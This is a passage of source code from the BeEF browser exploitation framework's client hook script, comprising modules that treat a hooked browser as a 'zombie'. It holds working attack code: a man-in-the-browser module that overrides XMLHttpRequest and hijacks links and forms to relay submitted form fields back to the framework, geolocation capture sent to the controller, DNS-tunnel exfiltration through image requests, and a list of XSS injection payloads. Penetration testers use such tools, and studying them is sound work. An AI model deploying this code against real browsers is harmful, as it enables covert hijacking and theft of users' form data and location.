  9424. if(!this.hasJava) return -1;
  9425. else{
  9426. try {
  9427. this.sock = new java.net.Socket();
  9428. } catch(e) {
  9429. return -1;
  9430. }
  9431. return 1;
  9432. }
  9433. }
  9434. },
  9435.  
  9436. /**
  9437. * Returns the internal IP address of the zombie.
  9438. * @return: {String} the internal ip of the zombie.
  9439. * @error: return -1 if the internal ip cannot be retrieved.
  9440. */
  9441. getLocalAddress: function() {
  9442. if(!this.hasJava) return false;
  9443.  
  9444. this.initializeSocket();
  9445.  
  9446. try {
  9447. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  9448. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  9449.  
  9450. return this.sock.getLocalAddress().getHostAddress();
  9451. } catch(e) { return false; }
  9452. },
  9453.  
  9454. /**
  9455. * Returns the internal hostname of the zombie.
  9456. * @return: {String} the internal hostname of the zombie.
  9457. * @error: return -1 if the hostname cannot be retrieved.
  9458. */
  9459. getLocalHostname: function() {
  9460. if(!this.hasJava) return false;
  9461.  
  9462. this.initializeSocket();
  9463.  
  9464. try {
  9465. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  9466. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  9467.  
  9468. return this.sock.getLocalAddress().getHostName();
  9469. } catch(e) { return false; }
  9470. }
  9471.  
  9472. };
  9473.  
  9474. beef.regCmp('beef.net.local');
  9475.  
  9476.  
  9477. //
  9478. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9479. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9480. // See the file 'doc/COPYING' for copying permission
  9481. //
  9482.  
  9483. /**
  9484. * @literal object: beef.init
  9485. * Contains the beef_init() method which starts the BeEF client-side
  9486. * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  9487. *
  9488. * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  9489. * and will have a new session id. The new session id will need to know
  9490. * the brwoser details. So sendback the browser details again.
  9491. */
  9492.  
  9493. beef.session.get_hook_session_id();
  9494.  
  9495. if (beef.pageIsLoaded) {
  9496. beef.net.browser_details();
  9497. }
  9498.  
  9499. window.onload = function () {
  9500. beef_init();
  9501. };
  9502.  
  9503. window.onpopstate = function (event) {
  9504. if (beef.onpopstate.length > 0) {
  9505. event.preventDefault;
  9506. for (var i = 0; i < beef.onpopstate.length; i++) {
  9507. var callback = beef.onpopstate[i];
  9508. try {
  9509. callback(event);
  9510. } catch (e) {
  9511. beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  9512. }
  9513. return false;
  9514. }
  9515. }
  9516. };
  9517.  
  9518. window.onclose = function (event) {
  9519. if (beef.onclose.length > 0) {
  9520. event.preventDefault;
  9521. for (var i = 0; i < beef.onclose.length; i++) {
  9522. var callback = beef.onclose[i];
  9523. try {
  9524. callback(event);
  9525. } catch (e) {
  9526. beef.debug("window.onclose - couldn't execute callback: " + e.message);
  9527. }
  9528. return false;
  9529. }
  9530. }
  9531. };
  9532.  
  9533. /**
  9534. * Starts the polling mechanism, and initialize various components:
  9535. * - browser details (see browser.js) are sent back to the "/init" handler
  9536. * - the polling starts (checks for new commands, and execute them)
  9537. * - the logger component is initialized (see logger.js)
  9538. * - the Autorun Engine is initialized (see are.js)
  9539. */
  9540. function beef_init() {
  9541. if (!beef.pageIsLoaded) {
  9542. beef.pageIsLoaded = true;
  9543. beef.net.browser_details();
  9544.  
  9545. if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  9546. setTimeout(function(){
  9547. beef.websocket.start();
  9548. beef.updater.execute_commands();
  9549. beef.logger.start();
  9550. }, parseInt(beef.websocket.ws_connect_timeout));
  9551. }else {
  9552. beef.net.browser_details();
  9553. beef.updater.execute_commands();
  9554. beef.updater.check();
  9555. beef.logger.start();
  9556. }
  9557. }
  9558. }
  9559.  
  9560.  
  9561. //
  9562. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9563. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9564. // See the file 'doc/COPYING' for copying permission
  9565. //
  9566.  
  9567.  
  9568. beef.mitb = {
  9569.  
  9570. cid:null,
  9571. curl:null,
  9572.  
  9573. init:function (cid, curl) {
  9574. beef.mitb.cid = cid;
  9575. beef.mitb.curl = curl;
  9576. /*Override open method to intercept ajax request*/
  9577. var hook_file = "/hook.js";
  9578.  
  9579. if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  9580.  
  9581. beef.mitb.sniff("Method XMLHttpRequest.open override");
  9582. (function (open) {
  9583. XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  9584. // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  9585. // or a request initiated by the MiTB itself.
  9586. if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  9587. open.call(this, method, url, async, true);
  9588. }else {
  9589. var portRegex = new RegExp(":[0-9]+");
  9590. var portR = portRegex.exec(url);
  9591. var requestPort;
  9592. if (portR != null) { requestPort = portR[0].split(":")[1]; }
  9593.  
  9594. //GET request
  9595. if (method == "GET") {
  9596. //GET request -> cross-origin
  9597. if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
  9598. beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
  9599. window.open(url);
  9600. }else { //GET request -> same-origin
  9601. beef.mitb.sniff("GET [Ajax Request]: " + url);
  9602. if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  9603. var title = "";
  9604. if (document.getElementsByTagName("title").length == 0) {
  9605. title = document.title;
  9606. } else {
  9607. title = document.getElementsByTagName("title")[0].innerHTML;
  9608. }
  9609. // write the url of the page
  9610. history.pushState({ Be:"EF" }, title, url);
  9611. }
  9612. }
  9613. }else{
  9614. //POST request
  9615. beef.mitb.sniff("POST ajax request to: " + url);
  9616. open.call(this, method, url, async, true);
  9617. }
  9618. }
  9619. };
  9620. })(XMLHttpRequest.prototype.open);
  9621. }
  9622. },
  9623.  
  9624. // Initializes the hook on anchors and forms.
  9625. hook:function () {
  9626. beef.onpopstate.push(function (event) {
  9627. beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  9628. });
  9629. beef.onclose.push(function (event) {
  9630. beef.mitb.endSession();
  9631. });
  9632.  
  9633. var anchors = document.getElementsByTagName("a");
  9634. var forms = document.getElementsByTagName("form");
  9635. var lis = document.getElementsByTagName("li");
  9636.  
  9637. for (var i = 0; i < anchors.length; i++) {
  9638. anchors[i].onclick = beef.mitb.poisonAnchor;
  9639. }
  9640. for (var i = 0; i < forms.length; i++) {
  9641. beef.mitb.poisonForm(forms[i]);
  9642. }
  9643.  
  9644. for (var i = 0; i < lis.length; i++) {
  9645. if (lis[i].hasAttribute("onclick")) {
  9646. lis[i].removeAttribute("onclick");
  9647. /*clear*/
  9648. lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  9649. /*override*/
  9650.  
  9651. }
  9652. }
  9653. },
  9654.  
  9655. // Hooks anchors and prevents them from linking away
  9656. poisonAnchor:function (e) {
  9657. try {
  9658. e.preventDefault;
  9659. if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  9660. var title = "";
  9661. if (document.getElementsByTagName("title").length == 0) {
  9662. title = document.title;
  9663. } else {
  9664. title = document.getElementsByTagName("title")[0].innerHTML;
  9665. }
  9666. history.pushState({ Be:"EF" }, title, e.currentTarget);
  9667. }
  9668. } catch (e) {
  9669. beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  9670. }
  9671. return false;
  9672. },
  9673.  
  9674. // Hooks forms and prevents them from linking away
  9675. poisonForm:function (form) {
  9676. form.onsubmit = function (e) {
  9677.  
  9678. // Collect <input> tags.
  9679. var inputs = form.getElementsByTagName("input");
  9680. var query = "";
  9681. for (var i = 0; i < inputs.length; i++) {
  9682. switch (inputs[i].type) {
  9683. case "submit":
  9684. break;
  9685. default:
  9686. query += inputs[i].name + "=" + inputs[i].value + '&';
  9687. break;
  9688. }
  9689. }
  9690.  
  9691. // Collect selected options from the form.
  9692. var selects = form.getElementsByTagName("select");
  9693. for (var i = 0; i < selects.length; i++) {
  9694. var select = selects[i];
  9695. query += select.name + "=" + select.options[select.selectedIndex].value + '&';
  9696. }
  9697.  
  9698. // We should be gathering 'submit' inputs as well, as there are
  9699. // applications demanding this parameter.
  9700. var submit = $j('*[type="submit"]', form);
  9701. if(submit.length) {
  9702. // Append name of the submit button/input.
  9703. query += submit.attr('name') + '=' + submit.attr('value');
  9704. }
  9705.  
  9706. if(query.slice(-1) == '&') {
  9707. query = query.slice(0, -1);
  9708. }
  9709.  
  9710. e.preventdefault;
  9711. beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  9712. history.pushState({ Be:"EF" }, "", form.action);
  9713. return false;
  9714. }
  9715. },
  9716.  
  9717. // Fetches a hooked form with AJAX
  9718. fetchForm:function (url, query, target) {
  9719. try {
  9720. var y = new XMLHttpRequest();
  9721. y.open('POST', url, false, true);
  9722. y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9723. y.onreadystatechange = function () {
  9724. if (y.readyState == 4 && y.responseText != "") {
  9725. target.innerHTML = y.responseText;
  9726. setTimeout(beef.mitb.hook, 10);
  9727. }
  9728. };
  9729. y.send(query);
  9730. beef.mitb.sniff("POST: " + url + "[" + query + "]");
  9731. return true;
  9732. } catch (x) {
  9733. return false;
  9734. }
  9735. },
  9736.  
  9737. // Fetches a hooked link with AJAX
  9738. fetch:function (url, target) {
  9739. try {
  9740. var y = new XMLHttpRequest();
  9741. y.open('GET', url, false, true);
  9742. y.onreadystatechange = function () {
  9743. if (y.readyState == 4 && y.responseText != "") {
  9744. target.innerHTML = y.responseText;
  9745. setTimeout(beef.mitb.hook, 10);
  9746. }
  9747. };
  9748. y.send(null);
  9749. beef.mitb.sniff("GET: " + url);
  9750. return true;
  9751. } catch (x) {
  9752. window.open(url);
  9753. beef.mitb.sniff("GET [New Window]: " + url);
  9754. return false;
  9755. }
  9756. },
  9757.  
  9758. // Fetches a window.location=http://domainname.com and setting up history
  9759. fetchOnclick:function (url) {
  9760. try {
  9761. var target = document.getElementsByTagName("html")[0];
  9762. var y = new XMLHttpRequest();
  9763. y.open('GET', url, false, true);
  9764. y.onreadystatechange = function () {
  9765. if (y.readyState == 4 && y.responseText != "") {
  9766. var title = "";
  9767. if (document.getElementsByTagName("title").length == 0) {
  9768. title = document.title;
  9769. }
  9770. else {
  9771. title = document.getElementsByTagName("title")[0].innerHTML;
  9772. }
  9773. history.pushState({ Be:"EF" }, title, url);
  9774. target.innerHTML = y.responseText;
  9775. setTimeout(beef.mitb.hook, 10);
  9776. }
  9777. };
  9778. y.send(null);
  9779. beef.mitb.sniff("GET: " + url);
  9780.  
  9781. } catch (x) {
  9782. // the link is cross-origin, so load the resource in a different tab
  9783. window.open(url);
  9784. beef.mitb.sniff("GET [New Window]: " + url);
  9785. }
  9786. },
  9787.  
  9788. // Relays an entry to the framework
  9789. sniff:function (result) {
  9790. try {
  9791. beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  9792. } catch (x) {
  9793. }
  9794. return true;
  9795. },
  9796.  
  9797. // Signals the Framework that the user has lost the hook
  9798. endSession:function () {
  9799. beef.mitb.sniff("Window closed.");
  9800. }
  9801. };
  9802.  
  9803. beef.regCmp('beef.mitb');
  9804.  
  9805.  
  9806. //
  9807. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9808. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9809. // See the file 'doc/COPYING' for copying permission
  9810. //
  9811.  
  9812. /*!
  9813. * @literal object: beef.geolocation
  9814. *
  9815. * Provides functionalities to use the geolocation API.
  9816. */
  9817. beef.geolocation = {
  9818.  
  9819. /**
  9820. * check if browser supports the geolocation API
  9821. */
  9822. isGeolocationEnabled: function(){
  9823. return !!navigator.geolocation;
  9824. },
  9825.  
  9826. /*
  9827. * given latitude/longitude retrieves exact street position of the zombie
  9828. */
  9829. getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
  9830.  
  9831. // fixes damned issues with jquery 1.5, like this one:
  9832. // http://bugs.jquery.com/ticket/8084
  9833. $j.ajaxSetup({
  9834. jsonp: null,
  9835. jsonpCallback: null
  9836. });
  9837.  
  9838. $j.ajax({
  9839. error: function(xhr, status, error){
  9840. beef.debug("[geolocation.js] openstreetmap error");
  9841. beef.net.send(command_url, command_id, "latitude=" + latitude
  9842. + "&longitude=" + longitude
  9843. + "&osm=UNAVAILABLE"
  9844. + "&geoLocEnabled=True");
  9845. },
  9846. success: function(data, status, xhr){
  9847. beef.debug("[geolocation.js] openstreetmap success");
  9848. var jsonResp = $j.parseJSON(data);
  9849.  
  9850. beef.net.send(command_url, command_id, "latitude=" + latitude
  9851. + "&longitude=" + longitude
  9852. // + "&osm=" + encodeURI(jsonResp.display_name)
  9853. + "&osm=tofix"
  9854. + "&geoLocEnabled=True");
  9855. },
  9856. type: "get",
  9857. url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
  9858. latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
  9859. });
  9860.  
  9861. },
  9862.  
  9863. /*
  9864. * retrieve latitude/longitude using the geolocation API
  9865. */
  9866. getGeolocation: function (command_url, command_id){
  9867.  
  9868. if (!navigator.geolocation) {
  9869. beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
  9870. return;
  9871. }
  9872. beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
  9873. navigator.geolocation.getCurrentPosition( //note: this is an async call
  9874. function(position){ // success
  9875. var latitude = position.coords.latitude;
  9876. var longitude = position.coords.longitude;
  9877. beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
  9878. beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
  9879.  
  9880. }, function(error){ // failure
  9881. beef.debug("[geolocation.js] error [%d] getting position", error.code);
  9882. switch(error.code) // Returns 0-3
  9883. {
  9884. case 0:
  9885. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9886. return;
  9887. case 1:
  9888. beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
  9889. return;
  9890. case 2:
  9891. beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
  9892. return;
  9893. case 3:
  9894. beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
  9895. return;
  9896. }
  9897. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9898. },
  9899. {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
  9900. );
  9901. }
  9902. }
  9903.  
  9904.  
  9905. beef.regCmp('beef.geolocation');
  9906.  
  9907.  
  9908. //
  9909. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9910. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9911. // See the file 'doc/COPYING' for copying permission
  9912. //
  9913.  
  9914. /*!
  9915. * @literal object: beef.net.dns
  9916. *
  9917. * request object structure:
  9918. * + msgId: {Integer} Unique message ID for the request.
  9919. * + domain: {String} Remote domain to retrieve the data.
  9920. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  9921. * + callback: {Function} Callback function to receive the number of requests sent.
  9922. */
  9923.  
  9924. beef.net.dns = {
  9925.  
  9926. handler: "dns",
  9927.  
  9928. send: function(msgId, data, domain, callback) {
  9929.  
  9930. var encode_data = function(str) {
  9931. var result="";
  9932. for(i=0;i<str.length;++i) {
  9933. result+=str.charCodeAt(i).toString(16).toUpperCase();
  9934. }
  9935. return result;
  9936. };
  9937.  
  9938. var encodedData = encodeURI(encode_data(data));
  9939.  
  9940. beef.debug(encodedData);
  9941. beef.debug("_encodedData_ length: " + encodedData.length);
  9942.  
  9943. // limitations to DNS according to RFC 1035:
  9944. // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  9945. // o Domain names are limited to 255 characters in length (including dots)
  9946. // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  9947. // o Subdomains are limited to 63 characters in length (including the trailing dot)
  9948.  
  9949. // DNS request structure:
  9950. // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  9951. //max_length: 3. 3 . 3 . 63 . x
  9952.  
  9953. // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
  9954. // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
  9955. var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  9956. var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  9957. var max_data_segment_length = 63; // by RFC
  9958.  
  9959. beef.debug("max_data_segment_length: " + max_data_segment_length);
  9960.  
  9961. var dom = document.createElement('b');
  9962.  
  9963. String.prototype.chunk = function(n) {
  9964. if (typeof n=='undefined') n=100;
  9965. return this.match(RegExp('.{1,'+n+'}','g'));
  9966. };
  9967.  
  9968. var sendQuery = function(query) {
  9969. var img = new Image;
  9970. //img.src = "http://"+query;
  9971. img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  9972. img.onload = function() { dom.removeChild(this); }
  9973. img.onerror = function() { dom.removeChild(this); }
  9974. dom.appendChild(img);
  9975.  
  9976. //experimental
  9977. //setTimeout(function(){dom.removeChild(img)},1000);
  9978. };
  9979.  
  9980. var segments = encodedData.chunk(max_data_segment_length);
  9981.  
  9982. var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
  9983.  
  9984. beef.debug(segments.length);
  9985.  
  9986. for (var seq=1; seq<=segments.length; seq++) {
  9987. sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  9988. }
  9989.  
  9990. // callback - returns the number of queries sent
  9991. if (!!callback) callback(segments.length);
  9992.  
  9993. }
  9994.  
  9995. };
  9996.  
  9997. beef.regCmp('beef.net.dns');
  9998.  
  9999.  
  10000.  
  10001. //
  10002. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  10003. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10004. // See the file 'doc/COPYING' for copying permission
  10005. //
  10006.  
  10007. // beef.net.connection - wraps Mozilla's Network Information API
  10008. // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  10009. // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  10010. beef.net.connection = {
  10011.  
  10012. /* Returns the connection type
  10013. * @example: beef.net.connection.type()
  10014. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  10015. * @return: {String} connection type or 'unknown'.
  10016. **/
  10017. type: function () {
  10018. try {
  10019. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  10020. var type = connection.type;
  10021. if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  10022. } catch(e) {
  10023. beef.debug("Error retrieving connection type: " + e.message);
  10024. return 'unknown';
  10025. }
  10026. },
  10027.  
  10028. /* Returns the maximum downlink speed of the connection
  10029. * @example: beef.net.connection.downlinkMax()
  10030. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  10031. * @return: {String} downlink max or 'unknown'.
  10032. **/
  10033. downlinkMax: function () {
  10034. try {
  10035. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  10036. var max = connection.downlinkMax;
  10037. if (max) return max; else return 'unknown';
  10038. } catch(e) {
  10039. beef.debug("Error retrieving connection downlink max: " + e.message);
  10040. return 'unknown';
  10041. }
  10042. }
  10043.  
  10044. };
  10045.  
  10046. beef.regCmp('beef.net.connection');
  10047.  
  10048.  
  10049.  
  10050. beef.net.cors = {
  10051.  
  10052. handler: "cors",
  10053.  
  10054. /**
  10055. * Response Object - used in the beef.net.request callback
  10056. */
  10057. response:function () {
  10058. this.status = null; // 500, 404, 200, 302, etc
  10059. this.headers = null; // full response headers
  10060. this.body = null; // full response body
  10061. },
  10062.  
  10063. /**
  10064. * Make a cross-origin request using CORS
  10065. *
  10066. * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
  10067. * @param url {String} url
  10068. * @param data {String} request body
  10069. * @param timeout {Integer} request timeout in milliseconds
  10070. * @param callback {Function} function to callback on completion
  10071. */
  10072. request: function(method, url, data, timeout, callback) {
  10073.  
  10074. var xhr;
  10075. var response = new this.response;
  10076.  
  10077. if (XMLHttpRequest) {
  10078. xhr = new XMLHttpRequest();
  10079.  
  10080. if ('withCredentials' in xhr) {
  10081. xhr.open(method, url, true);
  10082. xhr.timeout = parseInt(timeout, 10);
  10083. xhr.onerror = function() {
  10084. };
  10085. xhr.onreadystatechange = function() {
  10086. if (xhr.readyState === 4) {
  10087. response.headers = this.getAllResponseHeaders()
  10088. response.body = this.responseText;
  10089. response.status = this.status;
  10090. if (!!callback) {
  10091. if (!!response) {
  10092. callback(response);
  10093. } else {
  10094. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  10095. }
  10096. }
  10097. }
  10098. };
  10099. xhr.send(data);
  10100. }
  10101. } else if (typeof XDomainRequest != "undefined") {
  10102. xhr = new XDomainRequest();
  10103. xhr.open(method, url);
  10104. xhr.onerror = function() {
  10105. };
  10106. xhr.onload = function() {
  10107. response.headers = this.getAllResponseHeaders()
  10108. response.body = this.responseText;
  10109. response.status = this.status;
  10110. if (!!callback) {
  10111. if (!!response) {
  10112. callback(response);
  10113. } else {
  10114. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  10115. }
  10116. }
  10117. };
  10118. xhr.send(data);
  10119. } else {
  10120. if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
  10121. }
  10122.  
  10123. }
  10124.  
  10125. };
  10126.  
  10127. beef.regCmp('beef.net.cors');
  10128.  
  10129.  
  10130.  
  10131. //
  10132. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  10133. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10134. // See the file 'doc/COPYING' for copying permission
  10135. //
  10136.  
  10137. /*!
  10138. * @literal object: beef.net.requester
  10139. *
  10140. * request object structure:
  10141. * + method: {String} HTTP method to use (GET or POST).
  10142. * + host: {String} hostname
  10143. * + query_string: {String} The query string is a part of the URL which is passed to the program.
  10144. * + uri: {String} The URI syntax consists of a URI scheme name.
  10145. * + headers: {Array} contain the operating parameters of the HTTP request.
  10146. */
  10147. beef.net.requester = {
  10148.  
  10149. handler: "requester",
  10150.  
  10151. send: function(requests_array) {
  10152. for(var i=0; i<requests_array.length; i++){
  10153. request = requests_array[i];
  10154. if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
  10155. beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
  10156. beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
  10157. function(res, requestid) { beef.net.send('/requester', requestid, {
  10158. response_data: res.response_body,
  10159. response_status_code: res.status_code,
  10160. response_status_text: res.status_text,
  10161. response_port_status: res.port_status,
  10162. response_headers: res.headers});
  10163. }
  10164. );
  10165. }
  10166. }
  10167. };
  10168.  
  10169. beef.regCmp('beef.net.requester');
  10170.  
  10171.  
  10172. /*
  10173. * XSS Rays
  10174. * Legal bit:
  10175. * Do not remove this notice.
  10176. * Copyright (c) 2009 by Gareth Heyes
  10177. * Programmed for Microsoft
  10178. * gareth --at-- businessinfo -dot- co |dot| uk
  10179. * Version 0.5.5
  10180. *
  10181. * This license governs use of the accompanying software. If you use the software, you
  10182. * accept this license. If you do not accept the license, do not use the software.
  10183. * 1. Definitions
  10184. * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
  10185. * same meaning here as under U.S. copyright law.
  10186. * A "contribution" is the original software, or any additions or changes to the software.
  10187. * A "contributor" is any person that distributes its contribution under this license.
  10188. * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
  10189. * 2. Grant of Rights
  10190. * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
  10191. * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
  10192. * 3. Conditions and Limitations
  10193. * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
  10194. * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
  10195. * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
  10196. * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
  10197. * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
  10198. */
  10199.  
  10200. /*
  10201. * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
  10202. * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
  10203. * if the vulnerability is triggered the JS code vector will contact back BeEF.
  10204. * Other aspects of the original code have been simplified and improved.
  10205. */
  10206. beef.net.xssrays = {
  10207. handler: "xssrays",
  10208. completed:0,
  10209. totalConnections:0,
  10210.  
  10211. // BeEF variables
  10212. xssraysScanId : 0,
  10213. hookedBrowserSession: "",
  10214. beefRayUrl: "",
  10215. // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
  10216. crossDomain: false,
  10217. debug:false,
  10218. cleanUpTimeout:5000,
  10219.  
  10220. //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
  10221. vectors: [
  10222.  
  10223. {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
  10224. {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
  10225. {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
  10226. {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
  10227. {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  10228. {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10229. {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  10230. {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10231. {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10232. {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
  10233. {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
  10234. {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
  10235. {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
  10236. {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
  10237. {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
